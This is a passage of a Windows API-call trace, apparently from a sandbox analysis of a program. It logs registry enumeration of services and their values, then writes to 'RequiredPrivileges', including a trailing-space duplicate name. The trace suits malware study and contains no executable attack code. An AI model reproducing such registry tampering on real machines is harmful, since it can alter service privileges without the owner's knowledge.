[0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.482] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.482] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.482] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.482] RegCloseKey (hKey=0x150) returned 0x0 [0239.482] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.482] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.483] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.484] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.484] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.484] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.484] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0239.484] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0239.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0239.485] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.486] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.486] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0239.486] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0239.486] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0239.486] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.486] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0239.486] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0239.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0239.486] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0239.487] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0239.488] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.488] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0239.488] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, 